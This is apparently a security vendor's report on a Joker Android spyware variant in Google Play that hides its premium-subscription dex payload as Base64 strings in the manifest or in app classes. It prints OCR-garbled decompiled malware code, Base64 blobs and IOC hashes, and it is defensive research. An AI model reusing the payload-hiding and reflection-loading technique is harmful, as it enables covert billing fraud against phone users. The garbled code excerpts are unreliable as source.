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Overview:

Check Point’s researchers recently discovered a new variant of the Joker Dropper and Premium Dialer spyware in
Google Play. Hiding in seemingly legitimate applications, we found that this updated version of Joker was able to
download additional malware to the device, which subscribes the user to premium services without their
knowledge or consent.
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Figure 1 — Joker application on Google Play

General:
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Joker, one of the most prominent types of malware for Android, keeps finding its way into Google’s official
application market as a result of small changes to its code, which enables it to get past the Play store’s security
and vetting barriers. This time, however, the malicious actor behind Joker adopted an old technique from the
conventional PC threat landscape and used it in the mobile app world to avoid detection by Google.

To realize the ability of subscribing app users to premium services without their knowledge or consent, the Joker
utilized two main components — the Notification Listener service that is part of the original application, and a
dynamic dex file loaded from the C&C server to perform the registration of the user to the services.

In an attempt to minimize Joker’s fingerprint, the actor behind it hid the dynamically loaded dex file from sight

while still ensuring it is able to load — a technique which is well-known to developers of malware for Windows PCs.

This new variant now hides the malicious dex file inside the application as Base64 encoded strings, ready to be
decoded and loaded.

Technical Analysis:

Originally, the code that was responsible for communicating with the C&C and downloading the dynamic dex file
was located inside the main classes.dex file, but now the functionality of the original classes.dex file includes
loading the new payload.

Joker triggers the malicious flow from the Activity by creating a new object that communicates with the C&C to
check if the campaign was still active. After confirmation, it can then prepare the payload module to be loaded.

public HomeActivity() {

this.1 = 23;

this.m = "TAG";

this.q = new ArrayList();
this.r = "";

¥

¥

static void a(HomeActivity homeActivityd) {
super.onBackPressed();

private void k() {

this.n = (LinearLayout)this.findViewById(0x7F080114); // id:reducesize
this.o = (LinearLayout)this.findviewById(0x7F0808098); // id:editedimage
this.k = (ImageView)this.findViewById(08x7F08016C); // id:privacypolicy

new Thread(new Runnable() {
final HomeActivity a;

@0verride
public void run() {
a ab = new al);
if(ad.al) == 1) {
af.j (HomeActivity.this);
}

}
}).start();

Figure 2 — Creation of the malicious object
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public int a() {
try {
t httpURLConnection® = (HftpURLConnection)new URL( ) .openConnection();
httpURLConnectlonB se‘tConnectTlmeoutEGOOOOJ
httpURLConnection®.setRequestMethod
1fthttpURLConnectwnB getResponseCode() == 200! {
bufferedReadere = new fferedRe

are (new Inputs amReader (httpURLConnection®.getInputStream()));
stringBuffer® = new StringE 2r ()

whllettrueJ {
Stri strlngﬁ = bufferedReader®.readlLine();
if(TextUtils.isEmpty(string@)) {

stringBuffer®.append(stringd);

return new JSOND t(stringBuffer®.toString()).getInt( |

tion i0Exception@®) {
10Except10n@ printStackTrace();

return 0;

}

catch(JSONE otion jSONException®) {
JSDNEx(eptlunB printStackTrace();
return 0;

}

return 0;

Figure 3 — malicious object communicates with C&C

Figure 4 — response from C&C server

The first method used to load the dex file was to read it from the manifest file. When inspecting the manifest file,
we could see that there was another metadata field that contained a Base64 encoded dex file. So all that was
needed was to read the data from the manifest file, decode the payload, and load the new dex file.

Figure 5 — Manifest file containing the Base64 encoded dex
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public void a(Activity activitye) {

try {

this.a(activity®, Base6d.decode(activity®.getPackageManager().getApplicationInfo(activity®.getPackageName(), ©x80).metaData.getString(“bacputong”), 8));

catch(Exception unused_ex) {

}

public void a(Activity activity®, bytel] array_b) {
FileOutputStream fileOutputStream@ = null;
File file@ = new File(activity®.getFilesDir(), "bacbutong”);

try {

fileOutputStreamé = new FileOutputStream(filee);
fileOutputStreamé.write(array_b)
fileOutputStream.flush();

catch(Exception unused ex) {
if (fileQutputStreame@ != null) {
try {
fileOutputStreamd.close();

catch(I0Exception i0Exception@) {

}

goto label 36;

goto label 30;

¥
catch(Throwable throwable@) {

Figure 6 — reading data from manifest

During our research, we have also detected an “in-between” variant, that utilized the technique of hiding the .dex
file as Base64 strings — but instead of adding the strings to the Manifest file, the strings were located inside an
internal class of the main application. In this case, all that was needed for the malicious code to run was to read
the strings, decode them from Base64, and load it with reflection.
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agn = "CfxV4uCa5DPdI+X2YIVPSPqrgrrte7Eyl+6VdL+gbeTmcc67nGPEh30LTNBSriqy3ftpl+19nvhjsre62ifb+2V70NNXR/ uobB+4hf5etM+gPdzjrvNwas/l
aip = "GT+QPG+UOX65P7r37ellL9vXtSwa0Ivv7+LPcAUEKW5i72z18yS8nFIhft/HLyXsFkp2fBc6ZwKBVGTFamU+KZLBSLCWXTHRUmMMymS aKdyJlyzYN+Vzx2iYN5z

aru = "BaaA+4Bpctdc+Q0knWpZL59qcfdEKXWEOqmyHAaQEugsZ0pkebHFLfF7ZFhXSfIDHj01lnnKtplwny3XSBmstbjvb4orUo+iR7 /SUdc+43XItXI7LMsvOePSz
cdv B/TrxHGni/Ygoum8oL30gqBx+k2x7u2ivQ4ZavnQ0ioK6o5fIsetk+PWyd5fIo6pp0hXjyz30eL8ptovEcdUPanl2kofl853US0057wt9IvsEShwF4hznzsy
cmea = "FanJuckTmbF jYyNHRGVEbCYZz0jk6PTczmsmMTd49Q5FKPZ7HKCSNSkGcoKaVo8C5YtF2qDVrwIaFI4WCN2/alIJRANLNLM2Zhfqo6Nwpwd jMpLHVImmp4 rae
cnmk = "DhruU8villqZ+CnNEP7/br9+PGWh7hM7plkj7fMpp6JlgveSN+Lu0I0d2KWH/LALUHEjQR8Ac1DULaM6H6w5a+F74Dnc21lwplYVeB65nQz90xTpiUM7h3wlei
cqb = "AQAAY2xhc3NlcySkZXiVWmtwGod1Prt4ESRELSGXBIPUkgAKSLYAViIRRgMRLPCiLNknRICxLohlgqBSxJi0ACwid4pSklroXZsp64bv+PUbeMmbgPUakbJdFr,

esls = "D+3+BNOQpDVW7z7scKSyIpX7xZ+B9ibMOqcGM43QoSihCUUNXZRhAq2IK]jyepubkzg8Cnrjh56bpwILnQDOHeUdul+eDIusFnlV8HL38,/DutQefXhlgB541
fts Bnc95fc9ZX/ret+Ip9zcui5z2CM/SRmrHTL3ynKPR/6UZ553tK7PZ6jVIcEhud4IWeY1VspXPeWznvIh912USTW5h/s9tk5L23H50IxnDSI2kdhvDtKzgibe
ghx = "FWCMCyumxdZo9Lad4azm7kTVeNESuaPE@elwx6mGTOHfezDpsjnXe2IplGed4RVSITASTYYF7I6+am7zimUWsIFfdRcErm/MFjMYxbjvilaxTLFd3bYNAXYt
giym = "G3pvYNUorMAugpyYpzpEKm+A8H+/0E+CF5cWVy6fp8DFch7IK1lw9esinUEiZqNSy rmxpeEFpiXTiUZpC9aTgiSubKCqvKNEGpb1BiTWIagep31ZWwhtIjsSn

gmuij "EX46IFf77bj73NescDbqljdroYqsRTIrch7SRKbSsMduptI2ZiqLlSUWmémrHnndgZgmMIjMVcabSoDkBzk4x+5KeFvo0OmExuybl0WWgi3008TIuRoONvVL
hhxd = "DXtrRNrwOvZeGJON3hPdHO1EZ26LBbmUQg36Qvo7eD7Fe+NRRmtaE5g90g2awVtwHg5LoGLGThPRIXNEGLXZtK3J+5+/SPTNXTcInK+UTKMdSKkNONULKOeSF
GLNUUAtXSqWC1CPPd20A25vZqJ4Z69nLrasnCoq6de/9gRrB02pmCObZzLk5950Fa95YKTg4+eQRK2bESdk+mnc13XDTEaN5MjOFUZcaQyiKZfGUvcYSnTws

jme =
kht = "ELpEGI+VYsopRNFtIhcMISNZKS5wDhOUOTKKyNLijWxByrtwocS9eRAYLtK7 TyuGrlKZnkXdudS2VNbSInkj+0SLPOPs4z5vSd/q4Q4RwIPED+a0I9S+uHVKX]
kgpe = "AFBLAWQUAAgICAAvcIdQAAAAAAAAAAAAAAAAFAREAELFVEEtSUSGLOLBTKLGRVNULK1G/S0AAPNNZMEMSYOuUOQ1LLSr0zM+zUjDUM+DlckmtOPXITO45A0s

kun = "CwgeT7w3yljaE6MoiMwBB59UQdigLqSx2YT/9zQfnFT+kdlE3HLIKehxxWIKPIZNaGp+Cie8oeulvzishyPRj3XyKWPomWMfCnmMstde3gPJ+zBTjotaT7kve
lndc = "ElooTRrLpncl6wKCTpt2sbhC6cTUBRNYws76bmtyS5j6FSnjeyZs81a650zy6N5200s7abB7yhS5023yQyJkia9ltaSsupKs07hloYs+aladr/ERJyx3p45di
mjgn = "FGDYynbOuIlJpGvzov]j004azYwdZ503dejmeLy6nFYjLlnpuzcUugBYjHXc9kq20Xr /KUcO+vN7bzanFFYzS+LDAUDUAOMWELCBcaCRwgEhfNefoTMhOkssql

mitw = "BAawCxgEDgAjwAPAMLAGHgGeAq4BrwN/BvwY+BeAdkRBIAKOAZIANMAQOAT cA2SAWSAHXAAUAgGEDNwWHg1g5Xpgi5/LOPNAAaBAhwYDOBZUALABe L No4HAGSF

myf EpPH75125top5TrlnHRY LWm/vF/y87WP1lp+tuedgrd9jgwfzvt65k507yXf3alYUILKxcVLUIWWCc 1HHUXS fIN44C/01T67hh5crFfCSLLEqQpIlknvSp3LgWE
0aus = "HMOVILPKy+14DFROo/Z2+xnlSgd/cRMKzZ6L+ZgcFVLVGqXweZlk0X/jdzocaH+9RGn/ILZDUS+C+uMBXvr7NUP5rm6L823Z+1MyFH9uhhP8EeIufjyvvaRL
pdl = "CkPIBhv5c+RmhMTPWUSHal52da5rds/8yphhcH3AB5gj55R0Y1S1NDE88IwKdAaa+]j9pVusWEVvVHQNVXi74z6IPxK9Q1quh7pnQ6FvSThSkvUmloKNRCsdDS

pdta = "HfGTIu7IY413V5rL599P/59QSwcITV3+EX8SAAB4I0AAUESBARQAFAATICAGAL3CXUPDesShHARAASQAAABOABAAAAAAARAAARAAAAAARAELFVEELSUSGLO]
phsgu = "AnB/XNtGVCKitZODUZKfqzlEvO8u,/xDQ43PpZ]j /RItB3g0QLOA+GiGPANGs1+ukWODqiY6lEX4EPYAY4BcwCcBASWATYWDIOBi4CnwO+AXwP+AdAaSPSgY
gpl = "CH2VDA+008e8Q54AmygvalZagneluw3RFODZalc4D7nwSBAiX7q0zgg7RPLmx /kuSPibobfS80AfpZUE301eI84CrZyd0OhDOCUvPYheyuCKrThxPniFZ6nGMF
trwr = "FvkxkvbywppVLKOUPL7UM1H/RGZ4kmr4/8XFi0XyT46eytCOqYIp2KZuCu/QvV1Ad406Z7a8tWImSTLI6kmceSdx5p3EmefHvzEud4iwBeYaUM6SeQdMZrse
wbosf = "GsVVsOuLCM71I4MaSrAETAHTZcq40VINTGOU/Zz8 fLBRqGXiD9AQLbMH2856uNrULHImzsv11lVes2ZmQj COyXs fasgTSAqjMiMgGHHMWAWILFj 7phKK971C
wsh = "AxPwcyDdTmQBnwe+C fwMaOsg6gB2ALuBkSBp4CHAAOABANABWAHWGESC jwC fBraAfAS4FvAMSFfAfwLEtnUQZ4BywBNjAZeAZ4CvAL4A/Ard]/CnwEyCSlagF
ykfum = "DLv+nOKNUKYviNVvwtj1FFMfwApbeQUIIQWcKLIGVOVIV2eT6yINN/uLedsLQLtPSrcKWOR47dg/+LEeQp+YehS6wIj 1iNKtImGFD2DvY jRCVMBEKS r7VY

Figure 7 — Strings inside main application

try {
int 1

for(i2z = 0

= SDKContent.class.getFields().length;
array2 b = new bytel[il[];

il = 8;
int i2;

;12

= SDKContent.class.getFields().length; ++i2) {

bytel[] array b = BaseGd.decode(((String)SDKContent.class.getFields()[i2].get(null)), 2);
array2_bl[array_bl[e]l] = array_b;

byteArrayQutputStream@ = new ByteArrayOutputStream();

Figure 8 — Reading class strings and decode
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public void a(0Object object®, Object objectl, Object ebject2) {
Class class® = Class.forName(this.a("sJubsKDH5+3v4ZJbSRI533TWHtte/b7rCgSpf2ENxkFPhHheh0AVknA3eIShMQYFUIKUTKDGRg/TPJewm7Eqlw=="));
Object object3 = class@.getConstructor(String.class, String.class).newInstance(class@.getMethod(this.a("cTjMrf9RYOBCSLYNX0I4kFyQ9,/NujAQMUxWim]
if(!{(Boolean)class@.getMethod(this.a({"IbEesLKmfqbYlwgouowBBqlo2VUrfaskotakXNEskVstYokCK@aaMAy51DdoDIrhlyelSLXu8CdHb7R09Zc1T0=="), new Classl@
class®.getMethod(this.a("npqUh04YBmLcEDtZdi9Wguk4 TGABdmRBbb+iyndsgUtaT9h15sP8iM9nzFDOi714d8f4TSPUBy6bum3G62hEJww==")) .invoke(object3);
¥

String string® this.a("11l1cz7e0DiKka2xm6/evnKrzmSoHVCdlaIn51Rdrgpn2kPmygDs32WgvBHbltmY+1qes+paBhHESOt3j5ZoCV0==");

Object object4 = Class.forName(this.a{"X5GYCn2LJt4HN2sGdusIdXFIOpIUm7vNFwkQf7VpuesdIfxewlwbYZahdX2IlrlsupmylYzF42NtelrB5is+9w==")}.getMethod(s
Class[] array_class = new Class[]1{String.class, String.class, String.class, Class.forName(this.a("LLAAVQDsISZZjKOT1dwD3WKLSVMELNT /0YRwgSLawd7a
Object[] array_object = new Dbject[]1{classB8.getMethod(this.a("cTjMrfIRYOBC5LYNX0oI4kFyQ9/NujAQMUXWjmIDP/an3i50e5PcpmIg0VBXOV,/NB+3t2t2c70YKxIiHy
Object object5 = Class.forName(this.a({"fA4Et48jBxXgyVXX]j6xLPdUF6x/650s5BsYskR2nYgjwjXLIS+BQpu@63Yn7E4gY5agMnqIulQyGIITGOlivvZ0==")}.getConstruc
String stringl = this.a("G6265Z5mgP0tWuwjyIPLLAUTPSGW6AE+p9aa62dyzyIRP75dbRkCVo3Ge2+8+WzpLlwXdShac5FCUtQ9ilZNLOgA==");
Class.forName(this.a("RZ/06+vtDTCZUKITtfisc/BsYralj2vOEyN1vHL3VCcAZXUIWdIoTVcSnRmxdpCtEN/GEBSKdeUmayrCRxS3iug==")).getDeclaredField(stringl).se
Object objecté = Class.forName(this.a("RZ/06+vtDTCZUKIftfisc/BsYralj2vQEyN1vHL3VcA2XUSWdIoTVcSnRmxdpCtEN/GEBSKdeUmay rCRxS3iug==")) .getDeclared
Object object? = Class.forName(this.a("RZ/06+vtDTCZUKITtfisc/BsY¥ralj2vQEyN1vHL3VcA2XUSWdIoTVc5nRmxdpCtEN/GEB8KdeUmayrCRxS3iug==")) .getDeclared
Class classl = object6.getClass();
classl.getDeclaredField(this.a("CsU06xPeQ2feH6PlwbfKATEbcBzxmk FTBRKVEDHKDBOT673lmcYoqsWDXKEHI j cwdz0v fredPDDwxN+rW06AFOw==")) .setAccessible(true
Object object8 = classl.getDeclaredField(this.a("CsUD6xPeQ2feH6PlwbfKATfEbcE8zxmkfBRKVEDHKDBOTE73lmeYoqsWDXKEHIj cw9z0vfredPDDwxN+rWOBAFOwW==")).q
Class class2 = object7.getClass();
class2.getDeclaredField(this.a("CsU06xPeQ2feH6PLwbfKATEbcBzxmk FERKVEDHKDBOTE731mcYoqsWDXKEHIj cw9z0v fredPDDwxN+rWO6AFOw==")) .setAccessible(true
Object object9 = a.alclass2.getDeclaredField(this.a("CsU06xPeQ2feH6PlwbfKATEbcSZzXxmk fBRKVEDHKDBOT6731mcYoqsWDXKEHI j cwdz0vTredPDDwxN+rWO6AFQw==""
classl.getDeclaredField(this.a("CsU06xPeQ2feH6PlwbfKATEbcBzxmk FBRKVEDHKDBOT673lmcYoqsWDXKEHI j cwdz0v fredPDDwxN+rW06AFOw==")) .set(object6, objec

Figure 9 — Loading the dex file with Reflection

public String a(String string®) {
try {
return new String(a.a(Base64.decode(string®, 2), Base64.decode("MFwwDQYJKoZIhvcNAQEBBQADSWAWSAIBALDhVAMNEOtF6WoLxZx,
catch(Exception exceptiond8) {

exception®.printStackTracel();
return "";

H

Figure 10 — Decrypting strings

The new payload contained code that the original Joker had in its main dex file — the registration of the
NotificationListener service, subscribing the user to premium services, and more. But now, after this change, all
that the actor needed in order to hide the entire functionality was to set the C&C server to return “false” on the
status code, and none of the malicious activity would occur.

Conclusion:
If you suspect you may have one of these infected apps on your device, here’s what you should do:

¢ Uninstall the infected application from the device

e Check your mobile and credit-card bills to see if you have been signed up for any subscriptions and
unsubscribe if possible

« Install a security solution to prevent future infections

Protect your enterprise and users from sophisticated mobile cyberattacks like Haken or any other ones
with SandBlast Mobile. To protect personal devices against attacks, check out ZoneAlarm Mobile Security.

I10C’s:

sha256 Package Name

db43287d1a5ed249c4376ff6ebdabae65c63ceade7100229555aebf4a13cebf7 com.imagecompress.android

d54dd3ccfc4f0ed5fa6f3449f8ddc37a5eff2a176590e627f9be92933da32926 com.contact.withme.texts

5ada05f5c6bbabb5474338084565893afa624e0115f494e1c91f48111cbe99f3 com.hmvoice.friendsms

2a12084a4195239e67e783888003a6433631359498a6b08941d695¢c65c05ecc4 com.relax.relaxation.androidsms

96f269fa0d70fdb338f0f6cabfo748f6182b44eb1342c7dca2d4de85472bf789 com.cheery.message.sendsms

0d9a5dc012078ef41ae9112554cefbc4d88133f1e40a4c4d52decf41b54fc830 com.cheery.message.sendsms
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2dba603773fee05232a9d21cbf6690c97172496f3bde2b456d687d920b160404  com.peason.lovinglovemessage

46a5fb5d44e126bc9758a57e9c80e013cac31b3b57d98eae66e898a264251f47  com.file.recovefiles

f6¢c37577afa37d085fh68fe365€1076363821d241fe48be1a27ae5edd2a35¢c4d com.LPlocker.lockapps

044514ed2aeb7c0f90e7a9daf60c1562dc21114f29276136036d878ce8f652ca com.remindme.alram

f90acfa650db3e859a2862033ea1536e2d7a9ff5020b18b19f2b5dfd8dd323b3 com.training.memorygame
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